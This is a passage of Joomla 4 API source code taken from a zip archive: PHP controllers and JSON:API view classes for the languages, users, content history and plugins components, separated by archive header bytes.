     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $this->modelState->set('filter.language', $this->getLanguageFromInput());
        $this->modelState->set('filter.client', $this->getClientFromInput());

        return parent::displayList();
    }

    /**
     * Method to save a record.
     *
     * @param   integer  $recordKey  The primary key of the item (if exists)
     *
     * @return  integer  The record ID on success, false on failure
     *
     * @since   4.0.0
     */
    protected function save($recordKey = null)
    {
        /** @var \Joomla\CMS\MVC\Model\AdminModel $model */
        $model = $this->getModel(Inflector::singularize($this->contentType));

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
        }

        $model->setState('filter.language', $this->input->post->get('lang_code'));
        $model->setState('filter.client', $this->input->post->get('app'));

        $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');

        // @todo: Not the cleanest thing ever but it works...
        Form::addFormPath(JPATH_COMPONENT_ADMINISTRATOR . '/forms');

        // Validate the posted data.
        $form = $model->getForm($data, false);

        if (!$form) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_FORM_CREATE'));
        }

        // Test whether the data is valid.
        $validData = $model->validate($form, $data);

        // Check for validation errors.
        if ($validData === false) {
            $errors   = $model->getErrors();
            $messages = [];

            for ($i = 0, $n = \count($errors); $i < $n && $i < 3; $i++) {
                if ($errors[$i] instanceof \Exception) {
                    $messages[] = "{$errors[$i]->getMessage()}";
                } else {
                    $messages[] = "{$errors[$i]}";
                }
            }

            throw new InvalidParameterException(implode("\n", $messages));
        }

        if (!isset($validData['tags'])) {
            $validData['tags'] = [];
        }

        if (!$model->save($validData)) {
            throw new Exception\Save(Text::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()));
        }

        return $validData['key'];
    }

    /**
     * Removes an item.
     *
     * @param   integer  $id  The primary key to delete item.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function delete($id = null)
    {
        $id = $this->input->get('id', '', 'string');

        $this->input->set('model', $this->contentType);

        $this->modelState->set('filter.language', $this->getLanguageFromInput());
        $this->modelState->set('filter.client', $this->getClientFromInput());

        parent::delete($id);
    }

    /**
     * Get client code from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getClientFromInput()
    {
        return $this->input->exists('app') ? $this->input->get('app') : $this->input->post->get('app');
    }

    /**
     * Get language code from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getLanguageFromInput()
    {
        return $this->input->exists('lang_code') ?
            $this->input->get('lang_code') : $this->input->post->get('lang_code');
    }
}
PKk��\�0ڵ2com_languages/src/Controller/StringsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_languages
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Languages\Api\Controller;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Tobscure\JsonApi\Exception\InvalidParameterException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The strings controller
 *
 * @since  4.0.0
 */
class StringsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'strings';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'strings';

    /**
     * Search by languages constants
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @throws  InvalidParameterException
     * @since   4.0.0
     */
    public function search()
    {
        $data = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');

        if (!isset($data['searchstring']) || !\is_string($data['searchstring'])) {
            throw new InvalidParameterException("Invalid param 'searchstring'");
        }

        if (!isset($data['searchtype']) || !\in_array($data['searchtype'], ['constant', 'value'])) {
            throw new InvalidParameterException("Invalid param 'searchtype'");
        }

        $this->input->set('searchstring', $data['searchstring']);
        $this->input->set('searchtype', $data['searchtype']);
        $this->input->set('more', 0);

        $viewType   = $this->app->getDocument()->getType();
        $viewName   = $this->input->get('view', $this->default_view);
        $viewLayout = $this->input->get('layout', 'default', 'string');

        try {
            /** @var \Joomla\Component\Languages\Api\View\Strings\JsonapiView $view */
            $view = $this->getView(
                $viewName,
                $viewType,
                '',
                ['base_path' => $this->basePath, 'layout' => $viewLayout, 'contentType' => $this->contentType]
            );
        } catch (\Exception $e) {
            throw new \RuntimeException($e->getMessage());
        }

        /** @var \Joomla\Component\Languages\Administrator\Model\StringsModel $model */
        $model = $this->getModel($this->contentType, '', ['ignore_request' => true]);

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
        }

        // Push the model into the view (as default)
        $view->setModel($model, true);

        $view->document = $this->app->getDocument();
        $view->displayList();

        return $this;
    }

    /**
     * Refresh cache
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @throws \Exception
     * @since   4.0.0
     */
    public function refresh()
    {
        /** @var \Joomla\Component\Languages\Administrator\Model\StringsModel $model */
        $model = $this->getModel($this->contentType, '', ['ignore_request' => true]);

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
        }

        $result = $model->refresh();

        if ($result instanceof \Exception) {
            throw $result;
        }

        return $this;
    }
}
PKk��\0i���	�	0com_languages/src/View/Overrides/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_languages
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Languages\Api\View\Overrides;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The overrides view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = ['value'];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = ['value'];

    /**
     * Execute and display a template script.
     *
     * @param   object  $item  Item
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayItem($item = null)
    {
        /** @var \Joomla\Component\Languages\Administrator\Model\OverrideModel $model */
        $model = $this->getModel();
        $id    = $model->getState($model->getName() . '.id');
        $item  = $this->prepareItem($model->getItem($id));

        return parent::displayItem($item);
    }
    /**
     * Execute and display a template script.
     *
     * @param   array|null  $items  Array of items
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayList(array $items = null)
    {
        /** @var \Joomla\Component\Languages\Administrator\Model\OverridesModel $model */
        $model = $this->getModel();
        $items = [];

        foreach ($model->getOverrides() as $key => $override) {
            $item = (object) [
                'key'      => $key,
                'override' => $override,
            ];

            $items[] = $this->prepareItem($item);
        }

        return parent::displayList($items);
    }

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        $item->id    = $item->key;
        $item->value = $item->override;
        unset($item->key);
        unset($item->override);

        return parent::prepareItem($item);
    }
}
PKk��\;�{0com_languages/src/View/Languages/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_languages
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Languages\Api\View\Languages;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The languages view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'asset_id',
        'lang_code',
        'title',
        'title_native',
        'sef',
        'image',
        'description',
        'metakey',
        'metadesc',
        'sitename',
        'published',
        'access',
        'ordering',
        'access_level',
        'home',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'asset_id',
        'lang_code',
        'title',
        'title_native',
        'sef',
        'image',
        'description',
        'metakey',
        'metadesc',
        'sitename',
        'published',
        'access',
        'ordering',
        'access_level',
        'home',
    ];

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        $item->id = $item->lang_id;
        unset($item->lang->id);

        return parent::prepareItem($item);
    }
}
PKk��\�;gZ�	�	.com_languages/src/View/Strings/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_languages
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Languages\Api\View\Strings;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Serializer\JoomlaSerializer;
use Tobscure\JsonApi\Collection;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The strings view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'string',
        'file',
    ];

    /**
     * Execute and display a template script.
     *
     * @param   array|null  $items  Array of items
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayList(array $items = null)
    {
        /** @var \Joomla\Component\Languages\Administrator\Model\StringsModel $model */
        $model  = $this->getModel();
        $result = $model->search();

        if ($result instanceof \Exception) {
            throw $result;
        }

        $items = [];

        foreach ($result['results'] as $item) {
            $items[] = $this->prepareItem($item);
        }

        // Check for errors.
        if (\count($errors = $this->get('Errors'))) {
            throw new GenericDataException(implode("\n", $errors), 500);
        }

        if ($this->type === null) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_CONTENT_TYPE_MISSING'), 400);
        }

        $collection = (new Collection($items, new JoomlaSerializer($this->type)))
            ->fields([$this->type => $this->fieldsToRenderList]);

        // Set the data into the document and render it
        $this->getDocument()->setData($collection);

        return $this->getDocument()->render();
    }

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        $item->id = $item->constant;
        unset($item->constant);

        return parent::prepareItem($item);
    }
}
PKk��\�H�JHH-com_users/src/Controller/GroupsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_users
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The groups controller
 *
 * @since  4.0.0
 */
class GroupsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'groups';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'groups';
}
PKk��\T�Q�JJ-com_users/src/Controller/LevelsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_users
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The levels controller
 *
 * @since  4.0.0
 */
class LevelsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'levels';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $default_view = 'levels';
}
PKk��\�O���,com_users/src/Controller/UsersController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_users
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Api\Controller;

use Joomla\CMS\Date\Date;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;
use Tobscure\JsonApi\Exception\InvalidParameterException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The users controller
 *
 * @since  4.0.0
 */
class UsersController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'users';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $default_view = 'users';

    /**
     * Method to allow extended classes to manipulate the data to be saved for an extension.
     *
     * @param   array  $data  An array of input data.
     *
     * @return  array
     *
     * @since   4.0.0
     */
    protected function preprocessSaveData(array $data): array
    {
        foreach (FieldsHelper::getFields('com_users.user') as $field) {
            if (isset($data[$field->name])) {
                !isset($data['com_fields']) && $data['com_fields'] = [];

                $data['com_fields'][$field->name] = $data[$field->name];
                unset($data[$field->name]);
            }
        }

        if ($this->input->getMethod() === 'PATCH') {
            $body = $this->input->get('data', json_decode($this->input->json->getRaw(), true), 'array');

            if (!\array_key_exists('password', $body)) {
                unset($data['password']);
            }
        }

        if ($this->input->getMethod() === 'POST') {
            if (isset($data['password'])) {
                $data['password2'] = $data['password'];
            }
        }

        return $data;
    }

    /**
     * User list view with filtering of data
     *
     * @return  static  A BaseController object to support chaining.
     *
     * @since   4.0.0
     * @throws  InvalidParameterException
     */
    public function displayList()
    {
        $apiFilterInfo = $this->input->get('filter', [], 'array');
        $filter        = InputFilter::getInstance();

        if (\array_key_exists('state', $apiFilterInfo)) {
            $this->modelState->set('filter.state', $filter->clean($apiFilterInfo['state'], 'INT'));
        }

        if (\array_key_exists('active', $apiFilterInfo)) {
            $this->modelState->set('filter.active', $filter->clean($apiFilterInfo['active'], 'INT'));
        }

        if (\array_key_exists('groupid', $apiFilterInfo)) {
            $this->modelState->set('filter.group_id', $filter->clean($apiFilterInfo['groupid'], 'INT'));
        }

        if (\array_key_exists('search', $apiFilterInfo)) {
            $this->modelState->set('filter.search', $filter->clean($apiFilterInfo['search'], 'STRING'));
        }

        if (\array_key_exists('registrationDateStart', $apiFilterInfo)) {
            $registrationStartInput = $filter->clean($apiFilterInfo['registrationDateStart'], 'STRING');
            $registrationStartDate  = Date::createFromFormat(\DateTimeInterface::RFC3339, $registrationStartInput);

            if (!$registrationStartDate) {
                // Send the error response
                $error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'registrationDateStart');

                throw new InvalidParameterException($error, 400, null, 'registrationDateStart');
            }

            $this->modelState->set('filter.registrationDateStart', $registrationStartDate);
        }

        if (\array_key_exists('registrationDateEnd', $apiFilterInfo)) {
            $registrationEndInput = $filter->clean($apiFilterInfo['registrationDateEnd'], 'STRING');
            $registrationEndDate  = Date::createFromFormat(\DateTimeInterface::RFC3339, $registrationEndInput);

            if (!$registrationEndDate) {
                // Send the error response
                $error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'registrationDateEnd');
                throw new InvalidParameterException($error, 400, null, 'registrationDateEnd');
            }

            $this->modelState->set('filter.registrationDateEnd', $registrationEndDate);
        } elseif (
            \array_key_exists('registrationDateStart', $apiFilterInfo)
            && !\array_key_exists('registrationDateEnd', $apiFilterInfo)
        ) {
            // If no end date specified the end date is now
            $this->modelState->set('filter.registrationDateEnd', new Date());
        }

        if (\array_key_exists('lastVisitDateStart', $apiFilterInfo)) {
            $lastVisitStartInput = $filter->clean($apiFilterInfo['lastVisitDateStart'], 'STRING');
            $lastVisitStartDate  = Date::createFromFormat(\DateTimeInterface::RFC3339, $lastVisitStartInput);

            if (!$lastVisitStartDate) {
                // Send the error response
                $error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'lastVisitDateStart');
                throw new InvalidParameterException($error, 400, null, 'lastVisitDateStart');
            }

            $this->modelState->set('filter.lastVisitStart', $lastVisitStartDate);
        }

        if (\array_key_exists('lastVisitDateEnd', $apiFilterInfo)) {
            $lastVisitEndInput = $filter->clean($apiFilterInfo['lastVisitDateEnd'], 'STRING');
            $lastVisitEndDate  = Date::createFromFormat(\DateTimeInterface::RFC3339, $lastVisitEndInput);

            if (!$lastVisitEndDate) {
                // Send the error response
                $error = Text::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'lastVisitDateEnd');

                throw new InvalidParameterException($error, 400, null, 'lastVisitDateEnd');
            }

            $this->modelState->set('filter.lastVisitEnd', $lastVisitEndDate);
        } elseif (
            \array_key_exists('lastVisitDateStart', $apiFilterInfo)
            && !\array_key_exists('lastVisitDateEnd', $apiFilterInfo)
        ) {
            // If no end date specified the end date is now
            $this->modelState->set('filter.lastVisitEnd', new Date());
        }

        return parent::displayList();
    }
}
PKk��\/a�s��)com_users/src/View/Groups/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_users
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Api\View\Groups;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The groups view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'parent_id',
        'lft',
        'rgt',
        'title',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'parent_id',
        'lft',
        'rgt',
        'title',
    ];
}
PKk��\\�
��
�
(com_users/src/View/Users/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_users
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Api\View\Users;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The users view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'groups',
        'name',
        'username',
        'email',
        'registerDate',
        'lastvisitDate',
        'lastResetTime',
        'resetCount',
        'sendEmail',
        'block',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'name',
        'username',
        'email',
        'group_count',
        'group_names',
        'registerDate',
        'lastvisitDate',
        'lastResetTime',
        'resetCount',
        'sendEmail',
        'block',
    ];

    /**
     * Execute and display a template script.
     *
     * @param   array|null  $items  Array of items
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayList(array $items = null)
    {
        foreach (FieldsHelper::getFields('com_users.user') as $field) {
            $this->fieldsToRenderList[] = $field->name;
        }

        return parent::displayList();
    }

    /**
     * Execute and display a template script.
     *
     * @param   object  $item  Item
     *
     * @return  string
     *
     * @since   4.0.0
     */
    public function displayItem($item = null)
    {
        foreach (FieldsHelper::getFields('com_users.user') as $field) {
            $this->fieldsToRenderItem[] = $field->name;
        }

        return parent::displayItem();
    }

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        if (empty($item->username)) {
            throw new RouteNotFoundException('Item does not exist');
        }

        foreach (FieldsHelper::getFields('com_users.user', $item, true) as $field) {
            $item->{$field->name} = $field->apivalue ?? $field->rawvalue;
        }

        return parent::prepareItem($item);
    }
}
PKk��\A����)com_users/src/View/Levels/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_users
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Api\View\Levels;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The levels view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'title',
        'rules',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'title',
        'rules',
    ];
}
PKk��\��lUU3com_contenthistory/src/View/History/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contenthistory\Api\View\History;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The history view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'ucm_item_id',
        'ucm_type_id',
        'version_note',
        'save_date',
        'editor_user_id',
        'character_count',
        'sha1_hash',
        'version_data',
        'keep_forever',
        'editor',
    ];

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        $item->id = $item->version_id;
        unset($item->version_id);

        $item->version_data = (array) json_decode($item->version_data, true);

        return parent::prepareItem($item);
    }
}
PKk��\�*y���7com_contenthistory/src/Controller/HistoryController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_contenthistory
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Contenthistory\Api\Controller;

use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\MVC\Controller\Exception;
use Joomla\Component\Contenthistory\Administrator\Model\HistoryModel;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The history controller
 *
 * @since  4.0.0
 */
class HistoryController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'history';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'history';

    /**
     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $this->modelState->set('type_alias', $this->getTypeAliasFromInput());
        $this->modelState->set('type_id', $this->getTypeIdFromInput());
        $this->modelState->set('item_id', $this->getTypeAliasFromInput() . '.' . $this->getItemIdFromInput());
        $this->modelState->set('list.ordering', 'h.save_date');
        $this->modelState->set('list.direction', 'DESC');

        return parent::displayList();
    }

    /**
     * Method to edit an existing record.
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function keep()
    {
        /** @var HistoryModel $model */
        $model = $this->getModel($this->contentType);

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
        }

        $recordId = $this->input->getInt('id');

        if (!$recordId) {
            throw new Exception\ResourceNotFound(Text::_('JLIB_APPLICATION_ERROR_RECORD'), 404);
        }

        $cid = [$recordId];

        if (!$model->keep($cid)) {
            throw new Exception\Save(Text::plural('COM_CONTENTHISTORY_N_ITEMS_KEEP_TOGGLE', \count($cid)));
        }

        return $this;
    }

    /**
     * Get item id from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getItemIdFromInput()
    {
        return $this->input->exists('id') ?
            $this->input->get('id') : $this->input->post->get('id');
    }

    /**
     * Get type id from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getTypeIdFromInput()
    {
        return $this->input->exists('type_id') ?
            $this->input->get('type_id') : $this->input->post->get('type_id');
    }

    /**
     * Get type alias from input
     *
     * @return string
     *
     * @since 4.0.0
     */
    private function getTypeAliasFromInput()
    {
        return $this->input->exists('type_alias') ?
            $this->input->get('type_alias') : $this->input->post->get('type_alias');
    }
}
PKk��\*���
�
0com_plugins/src/Controller/PluginsController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Plugins\Api\Controller;

use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\CMS\MVC\Controller\Exception;
use Joomla\CMS\Router\Exception\RouteNotFoundException;
use Joomla\String\Inflector;
use Tobscure\JsonApi\Exception\InvalidParameterException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The plugins controller
 *
 * @since  4.0.0
 */
class PluginsController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'plugins';

    /**
     * The default view for the display method.
     *
     * @var    string
     *
     * @since  3.0
     */
    protected $default_view = 'plugins';

    /**
     * Method to edit an existing record.
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function edit()
    {
        $recordId = $this->input->getInt('id');

        if (!$recordId) {
            throw new Exception\ResourceNotFound(Text::_('JLIB_APPLICATION_ERROR_RECORD'), 404);
        }

        $data = json_decode($this->input->json->getRaw(), true);

        foreach ($data as $key => $value) {
            if (!\in_array($key, ['enabled', 'access', 'ordering'])) {
                throw new InvalidParameterException("Invalid parameter {$key}.", 400);
            }
        }

        /** @var \Joomla\Component\Plugins\Administrator\Model\PluginModel $model */
        $model = $this->getModel(Inflector::singularize($this->contentType), '', ['ignore_request' => true]);

        if (!$model) {
            throw new \RuntimeException(Text::_('JLIB_APPLICATION_ERROR_MODEL_CREATE'));
        }

        $item = $model->getItem($recordId);

        if (!isset($item->extension_id)) {
            throw new RouteNotFoundException('Item does not exist');
        }

        $data['folder']  = $item->folder;
        $data['element'] = $item->element;

        $this->input->set('data', $data);

        return parent::edit();
    }

    /**
     * Plugin list view with filtering of data
     *
     * @return  static  A BaseController object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $apiFilterInfo = $this->input->get('filter', [], 'array');
        $filter        = InputFilter::getInstance();

        if (\array_key_exists('element', $apiFilterInfo)) {
            $this->modelState->set('filter.element', $filter->clean($apiFilterInfo['element'], 'STRING'));
        }

        if (\array_key_exists('status', $apiFilterInfo)) {
            $this->modelState->set('filter.enabled', $filter->clean($apiFilterInfo['status'], 'INT'));
        }

        if (\array_key_exists('search', $apiFilterInfo)) {
            $this->modelState->set('filter.search', $filter->clean($apiFilterInfo['search'], 'STRING'));
        }

        if (\array_key_exists('type', $apiFilterInfo)) {
            $this->modelState->set('filter.folder', $filter->clean($apiFilterInfo['type'], 'STRING'));
        }

        return parent::displayList();
    }
}
PKk��\�=||,com_plugins/src/View/Plugins/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_plugins
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Plugins\Api\View\Plugins;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The plugins view
 *
 * @since  4.0.0
 */
class JsonapiView extends BaseApiView
{
    /**
     * The fields to render item in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderItem = [
        'id',
        'name',
        'type',
        'element',
        'changelogurl',
        'folder',
        'client_id',
        'enabled',
        'access',
        'protected',
        'checked_out',
        'checked_out_time',
        'ordering',
        'state',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var  array
     * @since  4.0.0
     */
    protected $fieldsToRenderList = [
        'id',
        'name',
        'element',
        'folder',
        'checked_out',
        'checked_out_time',
        'enabled',
        'access',
        'ordering',
        'editor',
        'access_level',
    ];

    /**
